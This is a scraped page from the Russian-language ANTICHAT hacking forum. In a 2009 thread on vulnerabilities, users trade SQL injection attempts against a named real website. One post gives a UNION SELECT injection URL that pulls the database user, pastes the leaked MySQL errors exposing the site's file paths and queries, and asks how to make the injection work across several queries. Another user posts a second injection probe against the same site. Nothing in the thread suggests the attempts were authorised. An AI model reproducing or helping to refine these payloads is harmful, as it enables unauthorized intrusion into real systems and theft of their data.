Ваши вопросы по уязвимостям.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

11.05.2009, 20:36

udman

Постоянный

Регистрация: 21.04.2009

Сообщений: 321

Провел на форуме:
785842

Репутация: 239

http://pocketbook.com.ua/index.php?id=204+union+select+0,user(),2,3,4,5,6,7 ,8,9,10,11,12,13,14+--+
вопрос что как здесь правильно поступить если 1 переменная в 2 или 3-х запросах

Цитата:

Ошибка в SQL запросе:
SELECT parent_id, page_id FROM tbl_page WHERE page_id = 204 union select 0,user(),2,3,4,5,6,7,8,9,10,11,12,13,14 --

Ответ MySQL сервера:
The used SELECT statements have a different number of columns

В файле:
/var/www/pocketbook/data/www/pocketbook.com.ua/functions.php

Строка:
160
Время: 2009-05-11 19-18-40

Ошибка в SQL запросе:
SELECT element_type, tbl_page.status, tbl_elements.element_id, tbl_attributes.value from tbl_page left join tbl_template using (template_id) left join tbl_elements using (template_id) left join tbl_attributes using (element_id) where tbl_page.page_id = 204 union select 0,user(),2,3,4,5,6,7,8,9,10,11,12,13,14 -- AND tbl_page.status=2 AND tbl_attributes.name = "field_name"

Ответ MySQL сервера:
The used SELECT statements have a different number of columns

В файле:
/var/www/pocketbook/data/www/pocketbook.com.ua/class/content_simple.class.php

Строка:
207
Время: 2009-05-11 19-18-40

1

mailbrush:
на этом сайте пробывал не получается как ты говришь, вот

http://pocketbook.com.ua/index.php?id=204'+and+'1'='2'

поправь меня если мож не так понял